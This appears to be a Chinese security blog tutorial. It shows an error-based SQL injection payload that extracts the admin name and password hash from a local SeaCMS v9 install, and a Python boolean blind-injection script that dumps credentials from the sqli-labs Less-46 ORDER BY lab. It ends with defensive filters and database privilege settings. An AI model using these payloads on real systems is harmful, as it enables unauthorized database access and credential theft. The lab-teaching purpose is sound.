当前位置: 首页 > article >正文

seacmsv9注入管理员账号密码+orderby+limit

seacmsv9注入管理员账号密码

安装海洋CMS(seacms)

  1. 将upload文件夹里的文件全部上传至网页服务器后,执行以下操作:
    在这里插入图片描述

  2. 请运行http://域名/install/index.php进行程序安装

在这里插入图片描述
在这里插入图片描述

SQL语句尝试注入

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

在这里插入图片描述
没有效果,抓包后,发现执行的SQL为:

SELECT   id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`,                                        updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

因为seacms开源,所以seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为 sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

在数据库中执行一下上面的SQL
在这里插入图片描述
结果显示为空
在这里插入图片描述
将SQL语句修改为查询database()
在这里插入图片描述
结果报错出数据库名 “seacms”
在这里插入图片描述
查询表 “sea_comment”
在这里插入图片描述
发现表为空,很奇怪,所以尝试随便插入几条数据试试
在这里插入图片描述

再次执行SQL注入
在这里插入图片描述

成功报错出用户名 “admin”

在这里插入图片描述
那么密码的注入就和用户名是一样的了

SQL语句:http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@%27,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@%27``
在这里插入图片描述

报错出密码为:f297a57a5a743894a0e4
在这里插入图片描述

因为这是由md5加密的,破解得到:admin

绕过ORDER BY 注入(sqlilabs-less46)

用参数sort分别传入id、username

http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=id

在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=username

在这里插入图片描述

import requests
from bs4 import BeautifulSoup

def get_username(resp):
    """
    从HTML响应中提取用户名。
    
    :param resp: HTML响应内容
    :return: 提取的用户名
    """
    soup = BeautifulSoup(resp, 'html.parser')
    # 使用CSS选择器提取用户名
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username

def inject_database_boolen():
    """
    通过布尔盲注技术获取数据库名称。
    """
    tables = ''
    i = 1
    while True:
        left = 32  # ASCII码的最小值
        right = 127  # ASCII码的最大值
        mid = (left + right) // 2  # 二分法的中间值
        
        # 二分法查找当前字符的ASCIIwhile left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        # 如果mid等于32,表示已经到达字符串的末尾
        if mid == 32:
            break
        
        # 将找到的字符拼接到结果中
        tables += chr(mid)
        i += 1
        print(tables)

def inject_table_boolen():
    """
    通过布尔盲注技术获取数据库中的表名。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

def inject_column_boolen():
    """
    通过布尔盲注技术获取指定表中的列名。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

def inject_data_boolen():
    """
    通过布尔盲注技术获取指定表中的数据。
    """
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        
        if mid == 32:
            break
        
        tables += chr(mid)
        i += 1
        print(tables)

if __name__ == '__main__':
    # 执行数据注入函数
    inject_data_boolen()

过滤information_schema

在 SQL 注入攻击中,information_schema是攻击者常用的数据库之一,因为它存储了关于数据库、表、列等元数据信息。攻击者可以通过查询information_schema来获取数据库结构,从而进一步实施攻击。

为了防止攻击者利用information_schema,可以采取以下措施来过滤或限制对information_schema的访问:

使用正则表达式

通过正则表达式匹配用户输入,禁止包含information_schema或其他敏感关键字。

使用preg_match函数检查用户输入中是否包含information_schema​​​​​​​(不区分大小写);如果包括,则终止程序并返回错误信息。

if (preg_match('/information_schema/i', $orderby)) {
    die('Invalid input: information_schema is not allowed');
}

限制数据库用户权限

通过限制数据库用户的权限,禁止其对information_schema​​​​​​​的访问。

使用REVOKE语句撤销数据库用户对information_schema​​​​​​​的查询权限;这样即使攻击者尝试访问information_schema​​​​​​​,也会被拒绝。

REVOKE SELECT ON information_schema.* FROM 'your_db_user'@'localhost';

底层代码过滤

在应用程序代码中,对用户输入进行严格的过滤,禁止包含information_schema的关键字。

使用stripos函数检查用户输入中是否包含information_schema​​​​​​​;如果包括,则直接终止程序并返回错误信息。

if (stripos($orderby, 'information_schema') !== false) {
    die('Invalid input: information_schema is not allowed');
}

使用只读用户

为应用程序分配一个只读用户,该用户只能访问特定的数据库和表。

创建一个新的数据库用户app_user,并为其分配对your_database的只读权限;这样即使攻击者成功注入 SQL,也无法访问information_schema​​​​​​​或其他数据库。

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON your_database.* TO 'app_user'@'localhost';

http://www.kler.cn/a/562810.html

相关文章:

  • 图的路径搜索算法
  • 通义灵码插件安装入门教学 - IDEA(安装篇)
  • 2. 在Linux 当中安装 Nginx(13步) 下载安装启动(详细说明+附加详细截图说明)
  • qt-C++笔记之QtCreator新建项目即Create Project所提供模板的逐个尝试
  • 【FastGPT】Linux系统使用podman-compose方式部署指南
  • web安全——分析应用程序
  • 山东大学软件学院ai导论实验之生成对抗网络
  • Qt 自定义控件及插件使用浅谈
  • Java 大视界 -- Java 大数据分布式文件系统的性能调优实战(101)
  • 人工智能中的特征是什么?
  • 腾讯 DeepSeek-R1 × Vue3 使用体验报告
  • SQLite 安装教程以及可视化工具介绍
  • 爬虫获取 t_nlp_word 文本语言词法分析接口:技术实现与应用实践
  • Web漏洞——命令注入漏洞学习
  • 数据存储:使用Python存储数据到redis详解
  • 用于训练基于pytorch构建的小型字符级语言模型的数据集汇总
  • 「宇树科技」13家核心零部件供应商梳理!
  • 无监督学习——聚类问题:K-Means聚类算法详解
  • xenomai4的dovetail学习(2)——oob和中断管理
  • 清华deepseek文档下载地址,DeepSeek:如何赋能职场应(附下载包)64页全面详细介绍(二)